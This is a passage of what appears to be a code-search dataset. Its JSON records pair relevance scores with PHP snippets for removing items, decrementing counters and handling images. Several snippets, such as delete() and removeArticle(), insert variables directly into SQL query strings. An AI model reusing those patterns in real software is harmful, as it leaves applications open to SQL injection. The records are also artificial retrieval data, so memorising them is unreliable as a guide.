);\n\t\t// get value\n\t\t$data = intval( $this->get( $key ) );\n\t\t// set value\n\t\t$data -= $amt; \n\t\t// write value\n\t\t$this->add( $key, $data );\n\t}", "title": "" }, { "docid": "42d6682da2d3a381eb7225bc6cf49976", "score": "0.52332103", "text": "public function del_item($item_id) \t{\n\t\t$ti = array();\n\t\t$this->itemqtys[$item_id] = 0;\n\t\tforeach($this->items as $item) {\n\t\t\tif($item != $item_id)\t{\t$ti[] = $item;}\n\t\t}\n\t\t$this->items = $ti;\n\t\tunset($this->quotes);\n\t\t$this->_update_total();\n\t}", "title": "" }, { "docid": "5ab1a061dde25d68b28e0f8c7810acef", "score": "0.5231571", "text": "public function decrement($column, $amount = 1, array $extra = [])\n {\n }", "title": "" }, { "docid": "9b1764b0ffaad35ae6ad4e4d773c8260", "score": "0.52245486", "text": "public function removeChild(OrderItemInterface $item);", "title": "" }, { "docid": "6e7bece2d1afdca828188c3f02be3bcd", "score": "0.5216772", "text": "public static function RemoveItem($tableRowId, $qty=-1){global $config;\r\n if($tableRowId < 1) return(FALSE);\r\n // remove item stack\r\n if($qty < 0){\r\n $query = \"DELETE FROM `\".$config['table prefix'].\"Items` WHERE `id` = \".((int)$tableRowId).\" LIMIT 1\";\r\n $result = RunQuery($query, __file__, __line__);\r\n if(!$result || mysql_affected_rows()==0){echo '<p style=\"color: red;\">Error removing item stack!</p>'; exit();}\r\n // subtract qty\r\n }else{\r\n $query = \"UPDATE `\".$config['table prefix'].\"Items` SET `qty`=`qty`-\".((int)$qty).\" WHERE `id` = \".((int)$tableRowId).\" LIMIT 1\";\r\n $result = RunQuery($query, __file__, __line__);\r\n if(!$result || mysql_affected_rows()==0){echo '<p style=\"color: red;\">Error updating item stack!</p>'; exit();}\r\n }\r\n return(TRUE);\r\n}", "title": "" }, { "docid": "552b6c25251a34e5897cf159943eaaff", "score": "0.51952666", "text": "public function decrement($column, $amount = 1) {\n\t\treturn $this->adjust($column, $amount, ' - ');\n\t}", "title": "" }, { "docid": "686a62f6f5d30a4bcf4a6841532a1c3e", "score": "0.5182368", "text": "public function decrby($key, $decrement) {\n return $this->string->decrby($key, $decrement);\n }", "title": "" }, { "docid": "9c8563f55ef8572c4706b54ac0bc985b", "score": "0.51685256", "text": "public function removeItem($item)\n {\n $item = $this->getItem($item);\n\n return $this->processItemDetach($item);\n }", "title": "" }, { "docid": "e5c4bc235f80472a6874e4027d8a9f87", "score": "0.516142", "text": "public function delete_item() {\n\t\t$result = Database::instance()->delete('id = :id', array('id' => $this->id, 'table' => 'numbat_items'));\n\t\tif ($result != 1)\n\t\t\tthrow new Exception('Delete failed!');\n\t}", "title": "" }, { "docid": "de9d4af94179fe15170608e96fdb91a0", "score": "0.51481724", "text": "public function decrement(string $key, int $amount = 1): int\n {\n if (! isset($this->data[$key])) {\n $this->data[$key] = 0;\n }\n\n $this->validateInteger($this->data[$key]);\n\n $value = (int) $this->data[$key];\n $value -= $amount;\n\n return $this->data[$key] = $value;\n }", "title": "" }, { "docid": "9c024bd4a18dc768e01f4374f873d14d", "score": "0.5142651", "text": "public function delete($deleteItem) {\n $query = \"SELECT * FROM $this->table WHERE title='$deleteItem'\";\n $result = mysqli_query($this->link, $query);\n $row = mysqli_fetch_array($result); \n $priority = stripslashes($row['priority']);\n $priority = intval($priority);\n $query = \"UPDATE $this->table SET priority = priority - 1 WHERE priority > $priority\";\n mysqli_query($this->link, $query); \n $query = \"DELETE FROM $this->table WHERE title='$deleteItem'\";\n mysqli_query($this->link, $query);\n }", "title": "" }, { "docid": "273868131876d3b0a25dbd70d69c05d6", "score": "0.5142164", "text": "public function pop() {\n\t\treturn array_pop( $this->items );\n\t}", "title": "" }, { "docid": "b9a184197bcde40ce19a2dbc7d14c54c", "score": "0.5139726", "text": "public function decrement($column, $amount = 1, array $extra = [])\n {\n }", "title": "" }, { "docid": "ee8522904ea8aedee1f8a433e3637a28", "score": "0.5136725", "text": "public function delete($item)\n {\n \n }", "title": "" }, { "docid": "444cc6fd024dc37753d73097506a6b94", "score": "0.5136518", "text": "function removeArticle($qty, $produit, $client, $dbh)\r\n{\r\n $actQty = $dbh ->query(\"SELECT Qty FROM DetailPanierC WHERE idProd = $produit;\") -> fetch()[0];\r\n\r\n $res = $actQty - $qty;\r\n\r\n if($res >= 1)\r\n {\r\n $dbh->query(\"UPDATE DetailPanierC SET Qty = Qty - $qty WHERE idProd = $produit AND idClient = $client;\");\r\n }\r\n else {\r\n $dbh->query(\"DELETE FROM DetailPanierC WHERE idProd = $produit AND idClient = $client;\");\r\n }\r\n}", "title": "" }, { "docid": "a09ed82d3545ba83a5cdf04f9abf8c13", "score": "0.5123792", "text": "function releaseReserved(InventoryInterface $inventory, $reservedBy, $itemCnt = null);", "title": "" }, { "docid": "0b9c860b48cb9b3054467f11adf3c7dc", "score": "0.51180923", "text": "public function unMountItem()\n {\n }", "title": "" }, { "docid": "2e8d08e9e87d0fff4dbd5aabafa9667c", "score": "0.51170963", "text": "public function pop()\n {\n return array_pop($this->items);\n }", "title": "" }, { "docid": "2e8d08e9e87d0fff4dbd5aabafa9667c", "score": "0.51170963", "text": "public function pop()\n {\n return array_pop($this->items);\n }", "title": "" }, { "docid": "2e8d08e9e87d0fff4dbd5aabafa9667c", "score": "0.51170963", "text": "public function pop()\n {\n return array_pop($this->items);\n }", "title": "" }, { "docid": "f0f3b85161fffa6410250d0370f06ec7", "score": "0.51139146", "text": "public function remove( $item )\n\t\t{\n\t\t\treturn parent::remove( $item->controlId );\n\t\t}", "title": "" }, { "docid": "476e2db6785ea2895c6dc9bb953cc185", "score": "0.5107341", "text": "protected function decrementValue($key, $value)\n\t{\n\t\tthrow new \\LogicException(\"Increment operations not supported by this driver.\");\n\t}", "title": "" }, { "docid": "ac6b9361655768471576ef559791cb1b", "score": "0.5106768", "text": "function removeFromBasket($item) {\r\n $this->getEmosECPageArray($item, \"c_rmv\");\r\n }", "title": "" }, { "docid": "d92af0f03ed7179386afa5adafb3ab24", "score": "0.5105536", "text": "public function remove(string $item): void\n {\n unset($this->items[$item]);\n }", "title": "" }, { "docid": "37c13689d81ad913fa2f2b0674c7088b", "score": "0.50920874", "text": "public function toggleInventoryItemStatusById(int $itemId): int;", "title": "" }, { "docid": "ac3047a0d707c32b76e3dc3b7322dbc1", "score": "0.508213", "text": "public function remove(mixed $item): void\n {\n $this->items = array_filter($this->items, fn($i) => $i !== $item);\n }", "title": "" }, { "docid": "beb6013c6b4e8ca059d14881efb56b10", "score": "0.5062584", "text": "abstract public function publicOnResoldItem(array &$invItem);", "title": "" }, { "docid": "77f0c0bf1bbc5e4a32b171dec18f4dfb", "score": "0.5061762", "text": "function deleteItem(){\n\t}", "title": "" }, { "docid": "814cc9dc130cb2bcd8630fc147d362f3", "score": "0.50532687", "text": "public function delete($item) {\n if (is_array($item)) {\n $item = $item[\"id\"];\n }\n $item = sqlescape($item);\n sqlquery(\"UPDATE `\".$this->Table.\"` SET `delete` = '1' WHERE id = '$item'\");\n BigTreeAutoModule::uncacheItem($item,$this->Table);\n }", "title": "" }, { "docid": "7c3079d66a86d744ff3869e2e4d350cf", "score": "0.50427115", "text": "function remove($item) {\n\t\tif(is_object($item)) {\n\t\t\tif(!is_a($item, $this->childClass)) {\n\t\t\t\tuser_error(\"ComponentSet::remove() Tried to remove an '{$item->class}' object, but a '{$this->childClass}' object expected\", E_USER_ERROR);\n\t\t\t}\n\t\t} else {\n\t\t\t$item = DataObject::get_by_id($this->childClass, $item);\n\t\t}\n\n\t\t// Manipulate the database, if it's in there\n\t\tif($this->ownerObj->ID && is_numeric($this->ownerObj->ID)) {\n\t\t\tif($this->type == '1-to-many') {\n\t\t\t\t$child = DataObject::get_by_id($this->childClass,$item->ID);\n\t\t\t\t$joinField = $this->joinField;\n\t\t\t\tif($child->$joinField == $this->ownerObj->ID) {\n\t\t\t\t\t$child->$joinField = null;\n\t\t\t\t\t$child->write();\n\t\t\t\t}\n\t\t\t\t\n\t\t\t} else {\n\t\t\t\t$parentField = $this->ownerClass . 'ID';\n\t\t\t\t$childField = ($this->childClass == $this->ownerClass) ? \"ChildID\" : ($this->childClass . 'ID');\n\t\t\t\tDB::query(\"DELETE FROM `$this->tableName` WHERE $parentField = {$this->ownerObj->ID} AND $childField = {$item->ID}\");\n\t\t\t}\n\t\t}\n\t\t\n\t\t// Manipulate the in-memory array of items\n\t\tif($this->items) foreach($this->items as $i => $candidateItem) {\n\t\t\tif($candidateItem->ID == $item->ID) {\n\t\t\t\tunset($this->items[$i]);\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "333d0670fcfab71cb03cd55e61948ddf", "score": "0.5032063", "text": "protected function decrementar($column, $amount = 1, array $extra = [])\n {\n return $this->decrement($column, $amount, $extra);\n }", "title": "" }, { "docid": "fcbb64df1e330dc323e446488da5b52f", "score": "0.5029277", "text": "private function decrementPositionsOnLowerItems($position = NULL)\n {\n if($this->isNotInList()) return NULL;\n if($position === NULL) $position = $this->getListifyPosition();\n\n $this->listifyList()\n ->where($this->positionColumn(), '>', $position)\n ->decrement($this->positionColumn());\n }", "title": "" }, { "docid": "d5f439e1443b9ab6b6a79f49b51a670b", "score": "0.502155", "text": "public function decrement($key, $offset = 1, $group = 'default')\n {\n $derived_key = $this->buildKey($key, $group);\n\n // Decrement values in no_mc_groups\n if (in_array($group, $this->no_mc_groups)) {\n // Only decrement if the key already exists and value is 0 or greater (mimics memcached behavior)\n if (isset($this->cache[$derived_key]) && $this->cache[$derived_key] >= 0) {\n // If numeric, subtract; otherwise, consider it 0 and do nothing\n if (is_numeric($this->cache[$derived_key])) {\n $this->cache[$derived_key] -= (int) $offset;\n } else {\n $this->cache[$derived_key] = 0;\n }\n\n // Returned value cannot be less than 0\n if ($this->cache[$derived_key] < 0) {\n $this->cache[$derived_key] = 0;\n }\n\n return $this->cache[$derived_key];\n } else {\n return false;\n }\n }\n\n $result = $this->m->decrement($derived_key, $offset);\n\n if (\\Memcached::RES_SUCCESS === $this->getResultCode()) {\n $this->add_to_internal_cache($derived_key, $result);\n }\n\n return $result;\n }", "title": "" }, { "docid": "3bd68af32dfc570d64107359f0fc6ad0", "score": "0.50079536", "text": "public function __destruct()\r\n\t\t{\r\n\t\t\tself::$number--;\r\n\t\t}", "title": "" }, { "docid": "5ac920467a4ea1a2a4f1de4400c4995f", "score": "0.5001198", "text": "public function removeItem($index);", "title": "" }, { "docid": "4374bbc601e206370295a4681a7d232c", "score": "0.49993354", "text": "public function decrement(string $key): bool\n {\n return $this->getStorage()->decrement($key);\n }", "title": "" }, { "docid": "36a39c1380ae7e5a5d544921ce573be6", "score": "0.49981424", "text": "public function delete_item() {\r\n\t\t//check the nonce field for security\r\n\t\tcheck_ajax_referer( $this->nonce, 'nonce' );\r\n\r\n\t\tif ( isset( $_POST['itemid'] )\r\n\t\t\t&& isset( $_POST['category'] )\r\n\t\t\t&& isset( $_POST['posttype'] ) ) {\r\n\t\t\t$res= $this->data_manager->delete_post(\r\n\t\t\t\t$_POST['itemid'],\r\n\t\t\t\t$_POST['category'],\r\n\t\t\t\t$_POST['posttype'] );\r\n\t\t\tif ( !$res ) echo '-1';\r\n\t\t}else {\r\n\t\t\techo '-1';\r\n\t\t}\r\n\t\texit;\r\n\t}", "title": "" } ]
b80d63552958d9cf97bfa48fe75b8441
return the main image for the portfolio page
[ { "docid": "dcffdec1fca82a21d06f638886eca63b", "score": "0.62556344", "text": "public function main_image() {\n return $this->images()->where('main_img','=', 1);\n }", "title": "" } ]
[ { "docid": "94165cf405783ea0f427d13c79d3550a", "score": "0.7270712", "text": "function genesiawesome_portfolio_image() {\n\n\tif ( has_post_thumbnail() ) {\n\t\techo '<div class=\"ga-portfolio-image\">';\n\t\tthe_post_thumbnail( 'full', array( 'class' => 'algincenter' ) );\n\t\techo '</div>';\n\t}\n\n}", "title": "" }, { "docid": "046c59d2d8c9954874726683d66d7f84", "score": "0.67280394", "text": "public function getMainImage()\n {\n return $this->main_image;\n }", "title": "" }, { "docid": "046c59d2d8c9954874726683d66d7f84", "score": "0.67280394", "text": "public function getMainImage()\n {\n return $this->main_image;\n }", "title": "" }, { "docid": "b0844f8e8523208b4094e590bb6cef8c", "score": "0.66679645", "text": "public function getMainImage()\n {\n return $this->mainImage;\n }", "title": "" }, { "docid": "c412c31680d76f96806775a8b29bbbab", "score": "0.6550871", "text": "function portfolio_featured_image() {\n $genesis_settings = get_option( 'genesis-settings' );\n\n if ( 1 === $genesis_settings['content_archive_thumbnail'] ) {\n function featured_image_size() {\n $image = genesis_get_image( array(\n 'size' => 'featured-image',\n ) );\n \n if ( $image ) {\n printf( '<a href=\"%s\" rel=\"bookmark\">%s</a>', get_permalink(), $image );\n }\n }\n // Display featured image.\n add_action( 'genesis_entry_header', __NAMESPACE__ . '\\featured_image_size', 1 );\n }\n }", "title": "" }, { "docid": "de260569c06012370d1a95fa232874e2", "score": "0.6457703", "text": "function mipress_featured_page_post_image() {\n\t\t$thumbnail = is_front_page() ? 'mipress-header-inner' : 'mipress-slider';\n\n\t\tif ( is_home() && $blog_id = get_option('page_for_posts') ) {\n\t\t return get_the_post_thumbnail_url( $blog_id, $thumbnail );\n\t\t} elseif ( ! has_post_thumbnail() ) {\n\t\t\treturn mipress_featured_image();\n\t\t} elseif ( is_home() && is_front_page() ) {\n\t\t\treturn mipress_featured_image();\n\t\t}\n\n\t\treturn get_the_post_thumbnail_url( get_the_id(), $thumbnail );\n\t}", "title": "" }, { "docid": "16ee4edbbf917d1b480df6ca18581827", "score": "0.6438598", "text": "public function preview_image()\n {\n return 'about-section/09.png';\n }", "title": "" }, { "docid": "ea73998e88e6afd705819d4e5ed52f75", "score": "0.6304977", "text": "public function getCoverPageImageUrl()\n {\n return static::createCoverPageImageUrl($this->storage_name);\n }", "title": "" }, { "docid": "d7091c0a7675957d01ff588e3ea7ec80", "score": "0.62688273", "text": "function mipress_featured_image() {\n\t\t$thumbnail = is_front_page() ? 'mipress-header-inner' : 'mipress-slider';\n\n\t\tif ( is_post_type_archive( 'jetpack-testimonial' ) ) {\n\t\t\t$jetpack_options = get_theme_mod( 'jetpack_testimonials' );\n\n\t\t\tif ( isset( $jetpack_options['featured-image'] ) && '' !== $jetpack_options['featured-image'] ) {\n\t\t\t\t$image = wp_get_attachment_image_src( (int) $jetpack_options['featured-image'], $thumbnail );\n\t\t\t\treturn $image[0];\n\t\t\t} else {\n\t\t\t\treturn false;\n\t\t\t}\n\t\t} elseif ( is_post_type_archive( 'jetpack-portfolio' ) || is_post_type_archive( 'featured-content' ) || is_post_type_archive( 'ect-service' ) ) {\n\t\t\t$option = '';\n\n\t\t\tif ( is_post_type_archive( 'jetpack-portfolio' ) ) {\n\t\t\t\t$option = 'jetpack_portfolio_featured_image';\n\t\t\t} elseif ( is_post_type_archive( 'featured-content' ) ) {\n\t\t\t\t$option = 'featured_content_featured_image';\n\t\t\t} elseif ( is_post_type_archive( 'ect-service' ) ) {\n\t\t\t\t$option = 'ect_service_featured_image';\n\t\t\t}\n\n\t\t\t$featured_image = get_option( $option );\n\n\t\t\tif ( '' !== $featured_image ) {\n\t\t\t\t$image = wp_get_attachment_image_src( (int) $featured_image, $thumbnail );\n\t\t\t\treturn $image[0];\n\t\t\t} else {\n\t\t\t\treturn get_header_image();\n\t\t\t}\n\t\t} elseif ( is_header_video_active() && has_header_video() ) {\n\t\t\treturn true;\n\t\t} else {\n\t\t\treturn get_header_image();\n\t\t}\n\t}", "title": "" }, { "docid": "de511be91caf2b1da89fb2b287626333", "score": "0.6238528", "text": "function getProjectMainImage( $projectId )\n\t{\n\n\t\tglobal $u_reGlobalConfig;\n\t\t$propertyImagePath = JURI::root().$u_reGlobalConfig['IMAGE']['project_image_path'];\n\t\t$propertyImageUrlPath = JPATH_ROOT.'/'.$u_reGlobalConfig['IMAGE']['project_image_path'];\n\t\t$image = array();\n\t\t$image['preview_url'] = $propertyImagePath . DS . $projectId . '/' .\n\t\t\t\t\t\t\t\t\t\t$u_reGlobalConfig['IMAGE']['property_image_preview_name'];\n\t\t$image['min_url'] = $propertyImagePath . DS . $projectId . '/' .\n\t\t\t\t\t\t\t\t\t\t$u_reGlobalConfig['IMAGE']['property_image_min_name'];\n\t\t$image['max_url'] = $propertyImagePath .DS . $projectId . '/' .\n\t\t\t\t\t\t\t\t\t\t$u_reGlobalConfig['IMAGE']['property_image_max_name'];\n\t\t\n\t\tif ( !is_file( $propertyImageUrlPath. '/' . \n\t\t\t\t\t\t$projectId . '/' . \n\t\t\t\t\t\t$u_reGlobalConfig['IMAGE']['property_image_max_name']) )\n\t\t\t\t\t\t\n\t\t{\n\t\t\t$image['max_url'] = $image['preview_url'];\n\t\t}\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\n\t\t$image['alt'] = '';\n\t\t$image['title'] = '';\n\t\t$image['isfile'] = $propertyImageUrlPath. '/' . $projectId . '/' .\n\t\t\t\t\t\t\t\t\t\t$u_reGlobalConfig['IMAGE']['property_image_min_name'];\n\t\t\t\n\t\treturn $image;\n\t}", "title": "" }, { "docid": "013b143545cfbba3b598d1b6ad7d4c1d", "score": "0.61959594", "text": "public function index()\n {\n $images = Portfolio::paginate();\n return view('admin.control.portfolio.index', compact('images'));\n }", "title": "" }, { "docid": "52314d69789114a087e452b973628072", "score": "0.61626434", "text": "public function get_main_image ()\n {\n if(!isset($this->product->image))\n {\n return null;\n }\n\n return $this->product->image;\n }", "title": "" }, { "docid": "468b59119c95e5e3bca872004357dc6e", "score": "0.61414135", "text": "function showGalleryImage() {\n // the contacts are show, so we only create the contacts when displaying fullarticle\n \t// show the contact form\n\t// $this->Contact = new contact($this->gallery->currentPageid);\n $galleryImage = '';\n \t\t// $galleryImage = $this->getContentTitle();\n\t\tif (SESSION::get_session()->mode == \"edit\")\n\t\t\t$galleryImage .= '<a href=\"../cms/func_gallery.php?directmode=on&amp;category='. $this->gallery->r__category .'&amp;imageid='. $this->getID() .'\">';\n\t\t$galleryImage .= '<img id=\"imgview\" src=\"'. $this->gallery->currentPageid->website->img_dir . $this->image .'\" alt=\"'. $this->getTitle() .'\" />';\n\t\tif (SESSION::get_session()->mode == \"edit\")\n\t\t\t$galleryImage .= '</a>';\n\t\t$galleryImage .= $this->getContent();\n\t\treturn $galleryImage;\n }", "title": "" }, { "docid": "889f4c9b991985a09ecaf3b96b506f02", "score": "0.6134393", "text": "static function get_ImageURL(){\r\n\t\t\treturn self::get_SiteHome() . '/' . self::get_ImagePasta();\r\n\t\t}", "title": "" }, { "docid": "b74d4b672799575decd9769cc7321505", "score": "0.6118595", "text": "function audioman_archive_image() {\n\t\tif ( ! has_post_thumbnail() ) {\n\t\t\t// Bail if there is no featured image.\n\t\t\treturn;\n\t\t}\n\n\t\t$thumbnail = 'post-thumbnail';\n\t\t$archive_layout = 'excerpt-image-top';\n\n\t\tif ( 'full-content' === $archive_layout ) {\n\t\t\t// Bail if full content is selected.\n\t\t\treturn;\n\t\t}\n\n\t\tif ( 'excerpt-image-top' === $archive_layout || 'full-content-image-top' === $archive_layout ) {\n\t\t\t$thumbnail = 'audioman-archive-top';\n\t\t}\n\t\t?>\n\t\t\t<div class=\"post-thumbnail archive-thumbnail\">\n\t\t\t\t<a href=\"<?php the_permalink(); ?>\">\n\t\t\t\t\t<?php the_post_thumbnail( $thumbnail ); ?>\n\t\t\t\t</a>\n\t\t\t</div><!-- .post-thumbnail -->\n\t\t<?php\n\t}", "title": "" }, { "docid": "288cd1a1e7cb403097f524ae611d0a1e", "score": "0.606824", "text": "public function portfolio()\n {\n return view('admin.pages.samples.portfolio');\n }", "title": "" }, { "docid": "bd917cc52c7085e3501b9893ae16aaf7", "score": "0.6040089", "text": "public function getCustomCoverImage()\n {\n $coverFileName = 'cover.jpg';\n $paths = array(\n $this['publishing.dir.templates'].'/'.$this['publishing.edition'],\n $this['publishing.dir.templates'].'/'.$this->edition('format'),\n $this['publishing.dir.templates']\n );\n\n return $this->getFirstFileOrNull($coverFileName, $paths);\n }", "title": "" }, { "docid": "e455229d471156ce070d4a56f8a4888b", "score": "0.5989596", "text": "public function mainThumbUrl()\r\n\t{\r\n\t\tif ($this->photos->count())\r\n\t\t{\r\n\t\t\t$thumb_url = $this->photos->first()->present()->thumbUrl();\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\t$thumb_url = asset('/templates/misc/no_listing_photo_thumb.png');\r\n\t\t}\r\n\t\treturn $thumb_url;\r\n\t}", "title": "" }, { "docid": "d382e4a1623bca33d6d15ad77e4ba56d", "score": "0.59866947", "text": "public function portfolio()\n\t{\n $map = $this->map;\n $title = 'Portfolio';\n $projects = Project::latest()->paginate(8);\n\n return view('pages.portfolio')->with(compact('projects', 'title', 'map'));\n\t}", "title": "" }, { "docid": "849dab0bc0a1b37f5f87f7dcc0ddd46b", "score": "0.5940359", "text": "function happy_face() {\n return '<img src=\"'.get_home_url( null, '', null ).'/wp-content/plugins/wp-vakt/img/happy.jpg\" label=\"Happy Face\" width=\"31\" border=\"0\" align=\"top\" style=\"display:inline;margin-top:-7px;margin-right:10px;outline-style:none;text-decoration:none;\"/>';\n}", "title": "" }, { "docid": "3c98ca82dcf010af50a0f2e80cd6d083", "score": "0.5938578", "text": "public function getImageUrl()\r\n\t{\r\n\t\tglobal $APP_CONFIG;\r\n\r\n\t\treturn \"{$APP_CONFIG['public_dir']}/resources/items/{$this->getRelativeImageDir()}/{$this->getItemImage()}\";\r\n\t}", "title": "" }, { "docid": "6c56ef743f503165c564fe0368c6e3c8", "score": "0.5931362", "text": "private function homepage_image_output() {\n\t\tif ( is_front_page() ) {\n\t\t\tif ( WPSEO_Options::get( 'og_frontpage_image', '' ) !== '' ) {\n\t\t\t\t$this->image_output( WPSEO_Options::get( 'og_frontpage_image' ) );\n\n\t\t\t\treturn true;\n\t\t\t}\n\t\t}\n\n\t\treturn false;\n\t}", "title": "" }, { "docid": "9b8b5484f16b50498d76392886f75e1c", "score": "0.5928545", "text": "public function portfolio()\n {\n return view('/pages/portfolio');\n }", "title": "" }, { "docid": "e8fb9d1b0561d549e2769526683c03d9", "score": "0.59205574", "text": "public function getImage()\n {\n if ($this->main_image === null) {\n return '/img/no-image.png';\n }\n\n return '/' . self::UPLOAD_PATH . $this->main_image;\n }", "title": "" }, { "docid": "916c3162183b714c11c0cf222d82b215", "score": "0.5883821", "text": "public function getImageHome()\n\t{\n\t\tif($this->home) \n\t\t\treturn Yii::app()->theme->baseUrl.'/images/home.png';\n\t\telse\n\t\t\treturn Yii::app()->theme->baseUrl.'/images/question.png';\n\t}", "title": "" }, { "docid": "7c7d2b7284233dc2f781d922c899e84f", "score": "0.5854156", "text": "public function coverImage()\n {\n if (! $this->cover) {\n return url(\"assets/logo.png\");\n }\n\n return url(\"uploads/{$this->cover->path}\");\n }", "title": "" }, { "docid": "9291ea7cfc9328951c1752654eb8262c", "score": "0.58461386", "text": "function ppnl_featured_image() {\n\n\t$add_single_image = get_theme_mod( 'ppnl_single_image_setting', true );\n\n\t$image = genesis_get_image( array(\n\t\t\t'format' => 'html',\n\t\t\t'size' => 'featured-image-large',\n\t\t\t'context' => '',\n\t\t\t'attr' => array ( 'alt' => the_title_attribute( 'echo=0' ), 'class' => 'aligncenter' ),\n\t\t) );\n\n\tif ( is_singular() && ( true === $add_single_image ) ) {\n\t\tif ( $image ) {\n\t\t\tprintf( '<div class=\"featured-image\">%s</div>', $image );\n\t\t}\n\t}\n\n}", "title": "" }, { "docid": "1c4cace785f19bf8e376122fdd1d9490", "score": "0.58235866", "text": "function catch_that_image() {\nglobal $post, $posts;\n$first_img = '';\nob_start();\nob_end_clean();\n$output = preg_match_all('/<img.+src=[\\'\"]([^\\'\"]+)[\\'\"].*>/i', $post->post_content, $matches);\n$first_img = $matches [1] [0];\n\nif(empty($first_img)){ //Defines a default image\n$first_img = get_bloginfo('stylesheet_directory').\"/images/default_icon.jpg\";\n}\nreturn $first_img;\n}", "title": "" }, { "docid": "1bf0eb635f0b8928cd863a50136db27b", "score": "0.58232903", "text": "public function getImage ()\n {\n $path = \"/img/icons/34/drill.png\";\n\n if (CURRENT_ENV == 'dev') {\n return CURRENT_DOMAIN . \"/assets/dev/\" . $path;\n }\n\n return WEBCDN . $path;\n }", "title": "" }, { "docid": "75e68dfa5e42a56d389bfb8b390bc283", "score": "0.5819033", "text": "function get_first_image() {\n global $post, $posts;\n $first_img = '';\n ob_start();\n ob_end_clean();\n $output = preg_match_all('/<img.+src=[\\'\"]([^\\'\"]+)[\\'\"].*>/i', $post->post_content, $matches);\n $first_img = $matches[1][0];\n\n if(empty($first_img)) {\n $first_img = get_stylesheet_directory_uri() . '/images/ADC-site-logo.jpg';\n }\n return '<img src=\"' . $first_img . '\" class=\"excerpt-thumb\" />';\n}", "title": "" }, { "docid": "807b19e7604b118266c6cd26f8ae4741", "score": "0.581354", "text": "public function getHeaderImageFull() {\r\n return $this->blog->config->get('domain') . $this->headerImage;\r\n }", "title": "" }, { "docid": "40a08b1cea82d36057df24dabd8c8636", "score": "0.5813389", "text": "function single_post_featured_image() {\n// return;\n\n $img = genesis_get_image( array( 'format' => 'html', 'size' => genesis_get_option( 'image_size' ), 'attr' => array( 'class' => 'post-image' ) ) );\n printf( '<a href=\"%s\" title=\"%s\">%s</a>', get_permalink(), the_title_attribute( 'echo=0' ), $img );\n\n}", "title": "" }, { "docid": "d04c84187af6b24cf94345acf65ff0a9", "score": "0.5788681", "text": "public function getImageUrl()\r\n {\r\n return Mage::getBaseUrl('media') . $this->getData('image');\r\n }", "title": "" }, { "docid": "74d1d075c685c52b892e5273b6341e55", "score": "0.5781161", "text": "public function getImage()\n {\n return 'assets/images/' . $this->image;\n }", "title": "" }, { "docid": "58a9fbca6e62f4e2392eed6269eadabe", "score": "0.5772461", "text": "public function getImageUrl();", "title": "" }, { "docid": "58a9fbca6e62f4e2392eed6269eadabe", "score": "0.5772461", "text": "public function getImageUrl();", "title": "" }, { "docid": "63ed25ed5def0fbbeb7d8b2f61cf11a5", "score": "0.5747059", "text": "function display_website_logo(){\n\t$custom_logo_id = get_theme_mod( 'custom_logo' );\n\t$image = wp_get_attachment_image_src( $custom_logo_id , 'full' );\n\tif($image){\n\t\techo \"<img src='$image[0]' alt='\".get_bloginfo(\"name\").\"'/>\";\n\t}\n}", "title": "" }, { "docid": "1ed63fdd8ac54189a320ec77327d4424", "score": "0.5737279", "text": "function imageMain($path=\"\", $htmlAttributes = array('alt'=>''),$url=\"\",$return=false,$returnurl=false) {\r\n\t\tunset($htmlAttributes['height']);\r\n\t if(!isNull($url))\r\n\t\t{\t\t \r\n\t\t\tif (!strpos($url, '://')) {\t\t\t \t\t\t \r\n\t\t\t\tif(!is_file(IMAGE_PATH.$path.$url) || !file_exists(IMAGE_PATH.$path.$url)){\t\t\t\t \r\n\t\t\t\t\t$url=\"/img/noimage.gif\";\r\n\t\t\t\t\t$htmlAttributes = array('alt'=>'');\r\n\t\t\t\t}\r\n\t\t\t\telse\r\n\t\t\t\t{\r\n\t\t\t\t $url = $this->webroot . SITE_IMAGEURL . $path.$url;\r\n\t\t\t\t}\r\n\t\t\t}\t\t\t\t\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t $url=\"/img/noimage.gif\";\r\n\t\t\t $htmlAttributes = array('alt'=>'');\r\n\t\t}\r\n\t\t\r\n\t\tif($returnurl)\r\n\t\t{\r\n\t\t return $url;\r\n\t\t} \r\n\t\treturn $this->output(sprintf($this->tags['image'], $url, $this->parseHtmlOptions($htmlAttributes, null, '', ' ')), $return);\r\n\t}", "title": "" }, { "docid": "72961108dd759102a17d990f07a8a141", "score": "0.5725114", "text": "function ProjectTheme_get_first_post_image($pid, $w = 100, $h = 100)\n{\n\t$img = ProjectTheme_get_first_post_image_fnc($pid, $w, $h);\n\t$img = apply_filters('ProjectTheme_get_first_post_image_filter', $img, $pid, $w, $h);\n\treturn $img;\n\n}", "title": "" }, { "docid": "f6b6e070212a953eefae37e9df0118c7", "score": "0.5720316", "text": "public function getImageUrl() \n {\n // return a default image placeholder if your source avatar is not found\n $file = isset($this->image) ? $this->image : 'default.jpg';\n return Yii::getAlias(Yii::$app->getModule('articles')->itemImageURL).$file;\n }", "title": "" }, { "docid": "ae98ece1080c8acff2101b33787f7a4c", "score": "0.57196957", "text": "public function render()\n {\n return view('components.home.portfolio');\n }", "title": "" }, { "docid": "f14b4e531a933e1cd56eeb22d16b1a58", "score": "0.57185054", "text": "public function dashboard_image()\r {\r global $hkmbranding_options, $hkm_hud;\r $asset = $hkmbranding_options->get($hkm_hud . '_dash1_img');\r if (count($asset) > 0) {\r $img = \"<img width=\\\"100%\\\" src=\\\"\" . $asset['url'] . \"\\\"/>\";\r $imgdiv = \"<div style=\\\"width:100%;text-align:center;\\\">\" . $img . \"</div>\";\r //============\r $this->temp_dump = \"<script type=\\\"text/javascript\\\">\" .\r //============\r \"jQuery(document).ready( function($) {\" .\r //============\r \" jQuery('\" . $imgdiv . \"').insertBefore('#dashboard-widgets');\" .\r //============\r \"});</script>\";\r echo $this->temp_dump;\r }\r }", "title": "" }, { "docid": "66a17e7054e579ac81345fc38aa33063", "score": "0.5712606", "text": "function imageMain($path=\"\", $htmlAttributes = array('alt'=>''),$url=\"\",$return=false,$returnurl=false) {\n\t\tunset($htmlAttributes['height']);\n\t if(!isNull($url))\n\t\t{\t\t \n\t\t\tif (!strpos($url, '://')) {\t\t\t \t\t\t \n\t\t\t\tif(!is_file(IMAGE_PATH.$path.$url) || !file_exists(IMAGE_PATH.$path.$url)){\t\t\t\t \n\t\t\t\t\t$url=\"/img/noimage.gif\";\n\t\t\t\t\t$htmlAttributes = 